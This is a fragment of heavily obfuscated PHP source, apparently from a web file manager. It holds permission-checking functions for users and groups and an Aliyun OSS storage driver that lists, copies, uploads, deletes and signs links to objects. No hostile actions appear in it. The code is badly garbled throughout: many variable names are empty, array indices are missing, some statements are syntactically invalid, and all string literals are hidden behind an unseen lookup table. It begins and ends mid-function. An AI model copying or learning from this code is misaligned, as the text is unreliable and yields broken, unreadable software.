$ڸ) { $ = $->getInfo($ڸ); $ώ[] = $[$ۥ[87]][$ۥ[402]]; $徺[$ڸ] = $[$ۥ[87]][$ۥ[402]]; $ؘ[$ڸ] = $ބ->parentLevelArray($[$ۥ[511]]); } foreach ($ҽ as $ᐟ => $北) { $ָɬ = $þ[$ᐟ]; if (!$ָɬ || !$徺[$ָɬ]) { continue; } $Ⱥ = array(); foreach ($ؘ[$ָɬ] as $ڸ) { $Ⱥ[] = $徺[$ڸ]; } $ҽ[$ᐟ] = array_merge($Ⱥ, $北); } $ώ = array_values(array_unique($ώ)); $ = array($ۥ[2044] => $ώ, $ۥ[2045] => $ҽ); $Ȕ[$ĭ] = $; return $; } private function makeSourceAuth($ĭ, $, $ = false) { $ =& $_SERVER[]; $ = $[88]; $ = $ĭ[$[496]]; $ = $ĭ[$[411]] == SourceModel::TYPE_GROUP; $ = $ ? $this->groupRootAuth($, $) : !1; if ($ && Model($[498])->authCheckAction($[$[413]], $[1873])) { return $this->groupAuthInfo($, $); } $Ħ = Model($[1335])->parentLevelArray($ĭ[$[511]]); $Ħ = array_merge(array($ĭ[$[402]]), array_reverse($Ħ)); $屛ȴ = !1; foreach ($Ħ as $) { if (!isset($[$])) { continue; } $ą = $this->authMake($[$], $); if ($ą[$[467]]) { $屛ȴ = $ą; break; } } if (!$) { return $屛ȴ; } if (!$屛ȴ && $) { $屛ȴ = $this->groupAuthInfo($, $); } if (!$屛ȴ) { $ͥ = Model($[512])->getInfo($); $ = explode($[50], trim($ͥ[$[511]], $[50])); $ = array_reverse($); foreach ($ as $Ǘ) { if ($Ǘ == $[198] || $Ǘ == $) { continue; } $ݸ = $this->groupRootAuth($Ǘ, $); if (!$ݸ) { continue; } $屛ȴ = $this->groupAuthInfo($ݸ, $Ǘ); break; } } if (!$屛ȴ || $屛ȴ[$[414]] <= 0) { $ = $this->authDeepCheck($ĭ[$[402]], $); if ($) { $屛ȴ = $; } } return $屛ȴ; } private function userIsRoot($ĸ = false) { $ =& $_SERVER[]; if (!$ĸ && _get($GLOBALS, $[494])) { return !0; } $ִ = Model($[525])->getInfo($ĸ); $ = Model($[2053])->listData($ִ[$[1542]]); if ($ && $[$[502]][$[2054]] == 1) { return !0; } return !1; } private function sourceAuthInfo($̯) { $½ =& $_SERVER[]; $φ = Model($½[1335]); $Ɨ = $φ->sourceInfo($̯); if (!$Ɨ) { return !1; } $φ->groupPathDisplay($Ɨ); $ = array($Ɨ); $ = $φ->_listAppendPath($); $Ɨ = $[0]; $ = $Ɨ[$½[509]]; if (isset($Ɨ[$½[517]])) { $ቿ = explode($½[8], trim($Ɨ[$½[509]], $½[8])); array_shift($ቿ); $ = $Ɨ[$½[515]] . $½[2055] . implode($½[8], $ቿ); } return array($½[420] => $Ɨ[$½[32]], $½[84] => KodIO::make($Ɨ[$½[402]]), $½[2056] => $); } private function groupAuthInfo($ե, $) { $궝 =& $_SERVER[]; $菌 = Model($궝[512])->getInfo($); return array($궝[2057] => intval($ե[$궝[413]]), $궝[2041] => $ե, $궝[2058] => LNG($궝[2059]), $궝[2050] => array($궝[420] => $菌[$궝[32]], $궝[84] => KodIO::make($菌[$궝[87]][$궝[402]]), $궝[2056] => $菌[$궝[516]])); } protected function groupRootAuth($ȤӃ, $ڦ = false) { $鞪 =& $_SERVER[]; $ڦ = $ڦ ? $ڦ : USER_ID; $ϑ = $ڦ . $鞪[2060] . $ȤӃ; static $ѝ = array(); if (isset($ѝ[$ϑ])) { return $ѝ[$ϑ]; } $ = Model($鞪[512])->getInfo($ȤӃ); $吇 = $this->userGroupList($ڦ); $ڴ = isset($吇[$ȤӃ]) ? $吇[$ȤӃ][$鞪[413]] : !1; if ($ڴ && Model($鞪[498])->authCheckAction($ڴ[$鞪[413]], $鞪[1873])) { $ѝ[$ϑ] = $ڴ; return $ڴ; } $ = $this->sourceAuthSelect($[$鞪[87]][$鞪[402]]); $Є = $ ? $this->authMake($, $ڦ) : !1; $߆ = $Є ? $Є[$鞪[467]] : !1; $ѝ[$ϑ] = $߆ ? $߆ : $ڴ; return $ѝ[$ϑ]; } public function authOwnerApply($ȯ) { $ =& $_SERVER[]; if (empty($ȯ[$[413]]) || isset($ȯ[$[2061]]) && $ȯ[$[2061]]) { return $ȯ; } if (AuthModel::authCheckRoot($ȯ[$[413]][$[414]])) { return $ȯ; } $נ = Model($[1335])->parentLevelArray($ȯ[$[511]]); $נ = array_merge(array($ȯ[$[402]]), array_reverse($נ)); $ = $this->sourceAuthSelect($נ); $Șܙ = array(); $ä = array(); foreach ($ as $ => $þ) { $涵 = $this->authFolderOwnerUser($þ); $Șܙ[$] = $涵; $ä = array_merge($ä, $涵[$[590]]); if ($涵[$[2062]]) { break; } } if (count($ä) == 0) { $ä = $this->authFolderOwnerGroup($ȯ[$[496]]); } $ä = array_unique($ä); if (AuthModel::authCheckRoot($ȯ[$[413]][$[414]])) { $ä[] = USER_ID; } $ȯ[$[413]][$[2063]] = Model($[504])->userListInfo($ä); return $ȯ; } private function authFolderOwnerGroup($Т) { $г =& $_SERVER[]; $̹ = Model($г[1942])->where(array($г[1852] => $Т))->select(); $Íא = array(); if (!$̹) { return $Íא; } foreach ($̹ as $ٳ) { $蜺ť = $this->authInfo($ٳ); if (AuthModel::authCheckRoot($蜺ť[$г[413]])) { $Íא[] = $ٳ[$г[1663]]; } } return $Íא; } private function authFolderOwnerUser($) { $Ġ =& $_SERVER[]; $؍ = array(); $ʄ = !1; foreach ($ as $삎) { $ = $this->authInfo($삎); if ($삎[$Ġ[496]] == $Ġ[198]) { $ʄ = !0; } if ($삎[$Ġ[411]] == SourceModel::TYPE_USER) { if (AuthModel::authCheckRoot($[$Ġ[413]])) { $؍[] = $삎[$Ġ[496]]; } } } return array($Ġ[590] => $؍, $Ġ[2062] => $ʄ); } public function authMake($轙, $š = false) { $ =& $_SERVER[]; $ٽ = $this->authArrayCheck($轙, $š); if ($ٽ[$[2064]]) { $ٽ[$[2064]] = $this->sourceAuthInfo($ٽ[$[2064]]); } return $ٽ; } public function authArrayCheck($ܨ, $ť = false) { $Ҩ =& $_SERVER[]; if (!$ܨ) { return array($Ҩ[414] => 0, $Ҩ[467] => !1); } $ť = $ť ? $ť : USER_ID; $܂ = 0; $ޠ = 0; $Ў = 0; $肎 = 0; $ = 0; $ߏ͐ = 0; $Ü = 1000; $ = 0; $ = 0; $ = 0; $Ȗ = 0; $갖 = array($Ҩ[402] => 0); foreach ($ܨ as $갖) { $葒 = $this->authInfo($갖); if (!$葒) { continue; } $̗ = $갖[$Ҩ[496]]; $ʧЃ = intval($葒[$Ҩ[413]]); if ($갖[$Ҩ[411]] == SourceModel::TYPE_USER && $̗ == $ť) { $܂ = !0; $Ў = $葒; $ޠ = $ʧЃ; } else { if ($갖[$Ҩ[411]] == SourceModel::TYPE_GROUP && $this->groupContainUser($̗, $ť)) { $肎 = !0; $՚ = $this->groupStepToUserGroup($̗, $ť); if ($՚ < $Ü) { $Ü = $՚; $ = $ʧЃ; $ߏ͐ = $葒; $ = $̗; } if ($՚ == $Ü && $ʧЃ >= $) { $ = $ʧЃ; $ߏ͐ = $葒; $ = $̗; } } else { if ($̗ == $Ҩ[198]) { $ = !0; $Ȗ = $葒; $ = $ʧЃ; } } } } if ($܂) { $ = $ޠ; $葒 = $Ў; $ = LNG($Ҩ[2065]); } else { if ($肎) { $ = $; $葒 = $ߏ͐; $ԦĹ = Model($Ҩ[512])->getInfo($); $ = $Ҩ[162] . $ԦĹ[$Ҩ[516]] . $Ҩ[2066] . LNG($Ҩ[2067]); } else { if ($) { $ = $; $葒 = $Ȗ; $ = LNG($Ҩ[2038]); } else { $ = 0; $葒 = !1; $ = $Ҩ[12]; } } } $ = array($Ҩ[2057] => intval($), $Ҩ[2041] => $葒, $Ҩ[2058] => $, $Ҩ[2050] => $갖[$Ҩ[402]]); return $; } private function groupContainUser($ɂ, $ˊ = false) { return in_array($ɂ, $this->userGroupParents($ˊ)); } private function groupStepToUserGroup($Ͷ, $л = false) { $ =& $_SERVER[]; $օ = $this->userGroupList($л); $ᅨޞ = 1000; $ = $GLOBALS[$[6]][$[89]][$[1955]] == 1; $Ϝ = $ ? 3 : 2; foreach ($օ as $Ƭ) { if ($Ƭ[$[1852]] == $Ͷ) { return 0; } $ = explode($[50], trim($Ƭ[$[511]], $[50])); if ($[0] == $[198] && count($) > $Ϝ) { $Ϫ = array_reverse(array_slice($, $Ϝ)); $ = array_search($Ͷ, $Ϫ); if ($ !== !1 && $ + 1 <= $ᅨޞ) { $ᅨޞ = $ + 1; } } } return $ᅨޞ; } private function userGroupList($ = false) { $ӫ =& $_SERVER[]; static $㮺 = array(); if (isset($㮺[$])) { return $㮺[$]; } $ = Model($ӫ[525])->getInfo($); $㮺[$] = array_to_keyvalue($[$ӫ[2039]], $ӫ[1852]); return $㮺[$]; } public function userGroupParents($ے) { $ڵͼ =& $_SERVER[]; static $ = array(); $ے = $ے ? $ے : USER_ID; if (isset($[$ے])) { return $[$ے]; } $̀ = $this->userGroupList($ے); $ = array(); $ = $GLOBALS[$ڵͼ[6]][$ڵͼ[89]][$ڵͼ[1955]] == 1; $ = $ ? 3 : 2; foreach ($̀ as $) { $ϐ׆ = array($[$ڵͼ[1852]]); $ = explode($ڵͼ[50], trim($[$ڵͼ[511]], $ڵͼ[50])); if ($[0] == $ڵͼ[198] && count($) > $) { $ = array_slice($, $); $ϐ׆ = array_merge($ϐ׆, array_reverse($)); } $ = array_merge($, $ϐ׆); } $[$ے] = array_unique($); return $[$ے]; } public function authTargetInfoMake($) { $ر =& $_SERVER[]; $뫫 = array(); $ = array(); foreach ($ as $) { if ($[$ر[411]] == SourceModel::TYPE_USER) { $뫫[] = intval($[$ر[496]]); } else { if ($[$ر[411]] == SourceModel::TYPE_GROUP) { $[] = intval($[$ر[496]]); } } } if ($뫫) { $뫫 = Model($ر[504])->userListInfo($뫫); } if ($) { $˥㞦 = array($ر[1940] => array($ر[418], $)); $ = Model($ر[512])->field($ر[2068])->where($˥㞦)->select(); $ = array_to_keyvalue($, $ر[1852]); } return array($ر[2069] => $뫫, $ر[2070] => $); } public function authInfo($) { $̨ =& $_SERVER[]; if ($[$̨[1956]]) { $ǝ댱 = Model($̨[498])->listData($[$̨[1956]]); if (!$ǝ댱) { return !1; $΅ = Model($̨[498])->listData(); $ӱ = array_filter_by_field($΅, $̨[413], $̨[198]); return $ӱ; } $흈 = array_field_key($ǝ댱, array($̨[399], $̨[32], $̨[413], $̨[1875], $̨[1876])); $흈[$̨[2071]] = $; return $흈; } else { return array($̨[419] => 0, $̨[1858] => $[$̨[2016]], $̨[420] => $̨[12], $̨[1875] => $̨[2072]); } } } goto f; C؝: class PathDriverOOS extends PathDriverBaseS3 { public function __construct($) { parent::__construct($); $this->signatureVersion($_SERVER[][216]); } public function fileOutLink($) { $ =& $_SERVER[]; if (substr($, 0, 7) == $[1333]) { $ = $[1334] . substr($, 7); } header($[161] . $); die; } } class PathDriverOSS extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $bucket = ''; protected $bucketAcl = ''; protected $endpoint = null; protected $client = null; public $ioUploadServer = "\60"; public $ioFileOutServer = "\x30"; public $cdnHost = ''; public $config = array(); public function __construct($Ռ) { parent::__construct(); include_once SDK_DIR . $_SERVER[][1390]; $this->_init($Ռ); } public function _init($٨) { $܂ =& $_SERVER[]; $this->config = $٨; foreach ($٨ as $ => $) { if (isset($this->{$})) { $this->{$} = $; } } if (empty($this->accessKey) || empty($this->secret) || empty($this->domain)) { throw new Exception($܂[1391] . LNG($܂[1392])); } $this->client = new OSS\OssClient($this->accessKey, $this->secret, $this->domain); $this->client->setConnectTimeout(60); } public function setBucketCors() { $ =& $_SERVER[]; $º = new OSS\Model\CorsConfig(); $ = new OSS\Model\CorsRule(); $->addAllowedOrigin($[1393]); $->addAllowedMethod($[1394]); $->addAllowedMethod($[1395]); $->addAllowedMethod($[1396]); $->addAllowedMethod($[1397]); $->addAllowedMethod($[160]); $->setMaxAgeSeconds(600); $->addExposeHeader($[1398]); $->addAllowedHeader($[1393]); $º->addRule($); try { $this->client->putBucketCors($this->bucket, $º); } catch (OSS\Core\OssException $) { return !1; } return !0; } public function getBucketCors() { $ط =& $_SERVER[]; $ = null; try { $ = $this->client->getBucketCors($this->bucket); } catch (OSS\Core\OssException $ɑɔ) { return null; } if (!$ || !($ = $->getRules())) { return null; } $آ = $[0]->getAllowedOrigins(); $ = $[0]->getAllowedMethods(); $ = $[0]->getMaxAgeSeconds(); $ə = $[0]->getExposeHeaders(); $ = $[0]->getAllowedHeaders(); return array($ط[188] => isset($آ[0]) ? $آ[0] : $ط[12], $ط[192] => $, $ط[1399] => $, $ط[1400] => isset($ə[0]) ? $ə[0] : $ط[12], $ط[190] => isset($[0]) ? $[0] : $ط[12]); } public function isBucketCors() { $ =& $_SERVER[]; $՚ = $this->getBucketCors(); if (!$՚ || !is_array($՚)) { return !1; } if ($՚[$[188]] != $[189] || $՚[$[190]] != $[189]) { return !1; } $݅ = array_map($[191], $՚[$[192]]); if (!is_array($݅)) { $݅ = array(); } $٧ = array($[193], $[194], $[195], $[196], $[197]); $ = array_diff($٧, $݅); return empty($); } public function mkfile($ے, $ʨ = '', $Ω = REPEAT_RENAME) { $ = $this->setContent($ے, $ʨ); if ($ !== !1) { return $this->getPathOuter($ے); } return !1; } public function mkdir($, $Dz = REPEAT_SKIP) { if ($Dz && $this->_isFolder($)) { return $this->getPathOuter($); } try { $this->client->createObjectDir($this->bucket, $this->pathEncode($)); } catch (OSS\Core\OssException $;) { return !1; } return $this->getPathOuter($); } private function fileList($, $ï䓎 = '', $ = 0) { $ʚ =& $_SERVER[]; $ = trim($, $ʚ[8]); $ = empty($) && $ !== $ʚ[198] ? $ʚ[12] : $ . $ʚ[8]; $ҁ = $ʚ[12]; $؏ = 1000; $ÿ = $ܨ = array(); while (!0) { check_abort(); $Ǹ = array($ʚ[1401] => $ï䓎, $ʚ[1402] => $, $ʚ[1403] => $؏, $ʚ[1404] => $ҁ); try { $ = $this->client->listObjects($this->bucket, $Ǹ); } catch (OSS\Core\OssException $ͭ) { break; } $ҁ = $->getNextMarker(); $ = $->getObjectList(); $ = $->getPrefixList(); foreach ($ as $͆䴚) { if ($͆䴚->getKey() == $) { continue; } $ = $͆䴚->getKey(); $Ƿ = $͆䴚->getSize(); $ = $͆䴚->getLastModified(); $ = $ ? array($ʚ[32] => $, $ʚ[76] => $Ƿ, $ʚ[180] => strtotime($)) : $; $ = $Ƿ == 0 && substr($, strlen($) - 1, 1) == $ʚ[8] ? !0 : !1; $Ƚ = array($ʚ[76] => $Ƿ, $ʚ[1405] => $Ƿ, $ʚ[85] => strtotime($), $ʚ[1406] => $); $this->cacheMethodInfoSet($, $, $Ƚ); if ($) { $ÿ[] = $; continue; } $ܨ[] = $; } foreach ($ as $ʷޏ) { $ÿ[] = $ʷޏ->getPrefix(); $this->cacheMethodInfoSet($ʷޏ->getPrefix(), !0); } if ($ҁ === $ʚ[12]) { break; } } $this->cacheMethodInfoSet($, !0); return array($ʚ[82] => $ÿ, $ʚ[83] => $ܨ); } public function copyFile($, $) { $ = $this->size($); if ($ < 1024 * 1024 * 1024) { try { $this->client->copyObject($this->bucket, $, $this->bucket, $this->pathEncode($)); } catch (OSS\Core\OssException $ϟ) { return !1; } return $this->getPathOuter($); } $ = $this->multiCopyObject($, $, $); return $ ? $this->getPathOuter($) : !1; } private function multiCopyObject($, $, $ȩ) { $ף =& $_SERVER[]; try { $ԥ = array(); if ($乱 = $this->hashMd5($)) { $ԥ = array(OSS\OssClient::OSS_HEADERS => array($ף[1407] => $乱)); } $ = $this->client->initiateMultipartUpload($this->bucket, $this->pathEncode($), $ԥ); $ = 1; $ϋ = 0; $ = array(); $뫙 = 1024 * 1024 * 10; $ = $this->client->generateMultiuploadParts($ȩ, $뫙); foreach ($ as $ => $) { $ン = $ϋ + (int) $[$ף[1408]]; $ڀ = (int) $[$ף[337]] + $ン - 1; $鈖 = array($ף[1409] => $ン, $ף[1410] => $ڀ); $[] = $this->client->uploadPartCopy($this->bucket, $, $this->bucket, $this->pathEncode($), $, $, $鈖); $ = $ + 1; } $ = array(); foreach ($ as $ => $̨) { $[] = array($ף[1411] => $ + 1, $ף[1412] => $̨); } $this->client->completeMultipartUpload($this->bucket, $this->pathEncode($), $, $); } catch (OSS\Core\OssException $ӱ) { return !1; } return !0; } public function moveFile($̜۟, $͜) { if ($this->copyFile($̜۟, $͜)) { $this->remove($̜۟); return $this->getPathOuter($͜); } return !1; } public function delFile($) { try { $this->client->deleteObject($this->bucket, $this->pathEncode($)); } catch (OSS\Core\OssException $Ç) { return !1; } return !0; } public function delFolder($ȭ) { $̡ =& $_SERVER[]; if (!$this->exist($ȭ)) { return !0; } $this->listItemCache = !1; $ = $this->fileList($ȭ); $this->listItemCache = !0; $ = trim($ȭ, $̡[8]) . $̡[8]; if (!empty($ȭ) && $ȭ !== $̡[198] && !in_array($, $[$̡[82]])) { $[$̡[82]][] = $; } $Ȓ = $this->delByBatch($[$̡[83]]); if (!$Ȓ) { return !1; } $Ȓ = $this->delByBatch($[$̡[82]]); if (!$Ȓ) { return !1; } return $this->delFile($); } private function delByBatch($ς) { foreach (array_chunk($ς, 1000) as $ڍ) { try { $this->client->deleteObjects($this->bucket, $ڍ); } catch (OSS\Core\OssException $߄) { return !1; } } return !0; } public function rename($, $ӱ) { return $this->renameObject($, $ӱ); } private function fileInfo($, $蛡 = false, $ = array()) { $ =& $_SERVER[]; $Ӣ = array($[32] => $this->pathThis($), $[84] => $this->getPathOuter($), $[33] => $[200], $[76] => isset($[$[76]]) ? $[$[76]] : 0, $[174] => $this->ext($)); if ($蛡) { return $Ӣ; } $Ӣ[$[201]] = $Ӣ[$[85]] = 0; $Ӣ[$[202]] = $Ӣ[$[203]] = !0; if (empty($)) { $Ԝ = $this->objectMeta($); if (!$Ԝ) { return $Ӣ; } $ = array($[85] => strtotime($Ԝ[$[1406]]), $[76] => $Ԝ[$[1405]] + 0); } if (isset($[$[76]])) { $Ӣ[$[76]] = $[$[76]]; } if (isset($[$[85]])) { $Ӣ[$[85]] = $[$[85]]; } if (isset($[$[180]]) && !trim($Ӣ[$[85]])) { $Ӣ[$[85]] = $[$[180]]; } return $Ӣ; } private function folderInfo($, $ = false, $ώ = array()) { $룧 =& $_SERVER[]; $䌣 = array($룧[32] => $this->pathThis($), $룧[84] => $this->getPathOuter($룧[8] . $), $룧[33] => $룧[75]); if ($) { return $䌣; } $䌣[$룧[201]] = $䌣[$룧[85]] = 0; $䌣[$룧[202]] = $䌣[$룧[203]] = !0; if (empty($ώ)) { $ = rtrim($, $룧[8]) . $룧[8]; $п = $this->objectMeta($); if (!$п) { return $䌣; } $ώ = array($룧[201] => $п[$룧[502]][$룧[1413]], $룧[85] => strtotime($п[$룧[1406]])); } if (isset($ώ[$룧[85]])) { $䌣[$룧[85]] = $ώ[$룧[85]]; } if (isset($ώ[$룧[201]])) { $䌣[$룧[201]] = $ώ[$룧[201]]; } return $䌣; } public function listPath($, $ = false) { $ =& $_SERVER[]; $ʖ = $this->fileList($, $[8], !0); foreach ($ʖ[$[82]] as $˞՝Զ => $) { $ʖ[$[82]][$˞՝Զ] = $this->folderInfo($, $, $); } foreach ($ʖ[$[83]] as $˞՝Զ => $) { $ʖ[$[83]][$˞՝Զ] = $this->fileInfo($[$[32]], $, $); } return $ʖ; } protected function infoChildren($, &$) { $ =& $_SERVER[]; $܈ = $this->fileList($, $[12], !0); $[$[78]] += count($܈[$[82]]); $[$[77]] += count($܈[$[83]]); foreach ($܈[$[83]] as $) { if (!$ || !$[$[76]]) { continue; } $[$[76]] += $[$[76]]; } } public function has($Н, $ϓ = false, $ = true) { $ܢ =& $_SERVER[]; $Н = trim($Н, $ܢ[8]); $¸ = empty($Н) && $Н !== $ܢ[198] ? $ܢ[12] : $Н . $ܢ[8]; $Ҷ = $ܢ[12]; $ = 500; $͒ = $Ϭ = 0; while (!0) { check_abort(); $Ԓ = array($ܢ[1401] => $ܢ[8], $ܢ[1402] => $¸, $ܢ[1403] => $, $ܢ[1404] => $Ҷ); try { $ = $this->client->listObjects($this->bucket, $Ԓ); } catch (OSS\Core\OssException $) { break; } $Ҷ = $->getNextMarker(); $ = $->getObjectList(); $殨 = $->getPrefixList(); if ($ϓ) { if (count($) > 1 || count($) == 1 && $[0]->getKey() != $¸) { $͒ += count($) - 1; } if (!empty($殨)) { $Ϭ += count($殨); } if ($Ҷ === $ܢ[12]) { break; } continue; } if ($) { if (!empty($)) { if (count($) > 1 || $[0]->getKey() != $¸) { return !0; } } } else { if (!empty($殨)) { return !0; } } if ($Ҷ === $ܢ[12]) { break; } } if ($ϓ) { return array($ܢ[207] => $͒, $ܢ[208] => $Ϭ); } return !1; } public function listAll($) { $ =& $_SERVER[]; $١ = $this->fileList($, $[12], !0); $ = array_to_keyvalue($١[$[83]], $[32]); foreach ($١[$[82]] as $) { if (is_string($)) { $[$] = array($[76] => 0); } } return $this->listAllFiles($, $); } public function canRead($ܷ) { $ϡ =& $_SERVER[]; $ = $this->pathAcl($ܷ); return $ == $ϡ[1414] || $ == $ϡ[547] ? !0 : !1; } public function canWrite($칂) { $ = $this->pathAcl($칂); return $ == $_SERVER[][547] ? !0 : !1; } public function pathAcl($ժ) { $ϐ =& $_SERVER[]; if (empty($this->bucketAcl)) { $this->bucketAcl = $this->client->getBucketAcl($this->bucket); } try { $Ƚ = $this->client->getObjectAcl($this->bucket, $this->pathEncode($ժ)); } catch (OSS\Core\OssException $) { return !1; } $ǫ = $Ƚ == $ϐ[37] ? $this->bucketAcl : $Ƚ; if ($ǫ == $ϐ[1415]) { return $ϐ[1414]; } if ($ǫ == $ϐ[1416]) { return $ϐ[547]; } return $ǫ; } private function chmodPath($Ϝƪ, $ = '') { $Ҥ =& $_SERVER[]; $ = empty($) ? $Ҥ[1416] : $; $Ȥǟ = array($Ҥ[37], $Ҥ[199], $Ҥ[1415], $Ҥ[1416]); if (!in_array($, $Ȥǟ)) { return !1; } try { $this->client->putObjectAcl($this->bucket, $this->pathEncode($Ϝƪ), $); } catch (OSS\Core\OssException $Śȅ) { return !1; } return !0; } public function getContent($ꀛ) { return $this->fileSubstr($ꀛ, -1); } public function setContent($DŽ֓, $Ϲ = '') { $ =& $_SERVER[]; try { $ߠ = $this->trafficLimit($[1417]); $ = $this->client->putObject($this->bucket, $this->pathEncode($DŽ֓), $Ϲ, $ߠ); } catch (OSS\Core\OssException $ך) { return !1; } $ = array($[1407] => trim($[$[1418]], $[118]), OSS\OssClient::OSS_CONTENT_TYPE => get_file_mime(get_path_ext($DŽ֓))); $this->updateObjMeta($DŽ֓, $); return isset($[$[1419]][$[1366]]) ? !0 : !1; } private function updateObjMeta($Ԝ, $ʫ) { $Ԝ = $this->pathEncode($Ԝ); try { $ = array(OSS\OssClient::OSS_HEADERS => $ʫ); $this->client->copyObject($this->bucket, $Ԝ, $this->bucket, $Ԝ, $); } catch (OSS\Core\OssException $Ж²) { return !1; } return !0; } public function upload($, $, $ = false, $ = REPEAT_REPLACE) { $ԩ =& $_SERVER[]; $ = trim($, $ԩ[8]); $玏 = array(OSS\OssClient::OSS_CHECK_MD5 => !0, OSS\OssClient::OSS_PART_SIZE => 1024 * 1024 * 10, OSS\OssClient::OSS_HEADERS => array($ԩ[1407] => @md5_file($)), OSS\OssClient::OSS_CONTENT_TYPE => get_file_mime(get_path_ext($))); $玏 = $this->trafficLimit($ԩ[1417], $玏); try { $this->client->multiuploadFile($this->bucket, $this->pathEncode($), $, $玏); } catch (OSS\Core\OssException $ﺱ) { return !1; } return $this->getPathOuter($); } public function getHost() { $ =& $_SERVER[]; $ = explode($[184], parent::getHost()); return $[0] . $[184] . $this->bucket . $[10] . $[1]; } public function uploadFormData($, $ = 3600) { $ۣж =& $_SERVER[]; if (!($ = $this->getHost())) { return !1; } $ץ = $; $ȹ = date($ۣж[1420], time() + $ץ); $ʧ = new DateTime($ȹ); $ہ = $ʧ->format(DateTime::ISO8601); $Ī = strpos($ہ, $ۣж[296]); $ہ = substr($ہ, 0, $Ī) . $ۣж[1421]; $ˬ = 1048576000 * 5; $ = $this->pathFather($); $ = array($ۣж[1320] => $ہ, $ۣж[1321] => array(array($ۣж[1422], 0, $ˬ), array($ۣж[1324], $ۣж[1325], $))); $ = base64_encode(json_encode($)); $м = base64_encode(hash_hmac($ۣж[232], $, $this->secret, !0)); $뫼ƥ = array($ۣж[1330] => $, $ۣж[1423] => $this->accessKey, $ۣж[1326] => $ۣж[1318], $ۣж[1424] => $м, $ۣж[182] => $); $뫼ƥ = $this->trafficLimit($ۣж[1417], $뫼ƥ); return $뫼ƥ; } public function multiUploadFormData($؍, $ܧ = 3600) { $ =& $_SERVER[]; if (!($ϔ = $this->getHost())) { return !1; } $б = $this->trafficLimit($[1417]); $ֲ䧣 = $this->client->initiateMultipartUpload($this->bucket, $this->pathEncode($؍), $б); return array($[223] => $ֲ䧣, $[182] => $ϔ . $[8] . $this->pathEncode($؍), $[224] => gmdate($[1425]), $[94] => $؍); } public function multiUploadAuthData($, $ = array()) { $Ā =& $_SERVER[]; $Ϸ = isset($[$Ā[224]]) ? $[$Ā[224]] : gmdate($Ā[1425]); $ = isset($[$Ā[174]]) ? $[$Ā[174]] : $Ā[12]; $ = $; if (isset($[$Ā[94]])) { $ = $[$Ā[94]]; unset($[$Ā[94]]); } if (isset($[$Ā[225]])) { $[$Ā[224]] = $Ϸ; return $this->listUploadParts($, $); } $ۑ = array($Ā[226], $Ā[12], $Ā[120], $Ϸ, "\170\55\157\163\163\x2d\144\141\x74\145\72{$Ϸ}", $Ā[8] . $this->bucket . $Ā[8] . $ . $); if (strpos($, $Ā[227]) === 0) { $ۑ[0] = $Ā[228]; if ($љ = $this->trafficLimit($Ā[1417])) { $ = $Ā[1426]; array_splice($ۑ, 5, 0, $ . $Ā[4] . $љ[$]); } } if (isset($[$Ā[229]]) && $[$Ā[229]] == $Ā[230]) { $ۑ[0] = $Ā[230]; } if (!empty($[$Ā[1427]])) { $ƍ = array_merge(array($ۑ[4]), $[$Ā[1427]]); sort($ƍ); $ۑ[4] = implode($Ā[231], $ƍ); } $ā = implode($Ā[231], $ۑ); $ߊ = base64_encode(hash_hmac($Ā[232], $ā, $this->secret, !0)); $ = $Ā[1391] . $this->accessKey . $Ā[4] . $ߊ; if (strpos($, $Ā[227]) === 0) { $ = array($Ā[234] => $, $Ā[224] => $Ϸ); if ($љ) { $ = array_merge($, $љ); } } return $; } public function listUploadParts($, $ܻ) { $ =& $_SERVER[]; $࿓ = parse_url_query($ܻ[$[174]]); $ΏϬ = $this->client->listParts($this->bucket, $this->pathEncode($), $࿓[$[223]]); $נ̺ = $ΏϬ->getListPart(); $ʇ = array(); foreach ($נ̺ as $) { $ʇ[] = array($[1411] => $->getPartNumber(), $[1412] => trim($->getETag(), $[118])); } unset($ܻ[$[225]], $ܻ[$[229]]); $볞 = $this->multiUploadAuthData($, $ܻ); if (empty($볞)) { return !1; } return array($[234] => $볞, $[224] => $ܻ[$[224]], $[236] => $ʇ); } public function download($ͫ, $៣) { if ($this->isFolder($ͫ)) { return !1; } try { $µ = array(OSS\OssClient::OSS_FILE_DOWNLOAD => $៣); $µ = $this->trafficLimit($_SERVER[][109], $µ); $this->client->getObject($this->bucket, $this->pathEncode($ͫ), $µ); } catch (OSS\Core\OssException $Ǟ) { return !1; } return $៣; } public function fileSubstr($, $ = 0, $ = false) { if ($ === -1) { $ֽ = array(); } else { if ($ === !1) { $ = $this->size($); } else { $ = $ + $ - 1; } $ֽ = array(OSS\OssClient::OSS_RANGE => "{$}\55{$}"); } try { return $this->client->getObject($this->bucket, $this->pathEncode($), $ֽ); } catch (OSS\Core\OssException $ܕ͜) { think_exception($ܕ͜->getMessage()); return !1; } } private function trafficLimit($н, $ = array()) { $ʑ =& $_SERVER[]; if ($н == $ʑ[1417] && $this->isUploadServer() || $н == $ʑ[109] && $this->isFileOutServer()) { return $; } $ɹ = floatval($GLOBALS[$ʑ[6]][$ʑ[89]][$ʑ[107]][$н]) * 1024 * 1024 * 8; if (!$ɹ) { return $; } $ɹ = $ɹ < 819200 ? 819200 : ($ɹ > 838860800 ? 838860800 : $ɹ); $[OSS\OssClient::OSS_TRAFFIC_LIMIT] = intval($ɹ); return $; } public function link($α, $㋺ = array()) { $ =& $_SERVER[]; if (!$this->exist($α) || $this->isFolder($α)) { return !1; } try { $㋺ = $this->trafficLimit($[109], $㋺); $ = $this->client->signUrl($this->bucket, $this->pathEncode($α), 3600 * 12, $[230], $㋺); return $this->getCdnLink($); } catch (OSS\Core\OssException $Ǭ) { return !1; } } public function fileOut($ו݈, $燬 = false, $ = false, $ = '') { $ =& $_SERVER[]; if ($this->isFileOutServer()) { return $this->fileOutServer($ו݈, $燬, $, $); } if (!$) { $ = $this->pathThis($ו݈); } $ = rawurlencode($); $瞃 = get_file_mime(get_path_ext($)); if ($瞃 == $[217]) { return parent::fileOut($ו݈, $燬, $, $); } $燬 = $燬 ? $[1428] : $[1429]; $Һ = array(OSS\OssClient::OSS_SUB_RESOURCE => $[1430] . rawurlencode("{$燬}\73\x66\151\x6c\x65\156\x61\x6d\145\75{$}")); $Һ[OSS\OssClient::OSS_SUB_RESOURCE] .= $[1431] . rawurlencode($瞃); $ͫ = $this->link($ו݈, $Һ); $this->fileOutLink($ͫ); } public function fileOutServer($, $ = false, $遲 = false, $ = '') { parent::fileOut($, $, $遲, $); } public function fileOutImage($ɾʼ, $Ԛ喋 = 250) { $Dž = array(OSS\OssClient::OSS_PROCESS => $_SERVER[][1432] . $Ԛ喋); $פ = $this->link($ɾʼ, $Dž); 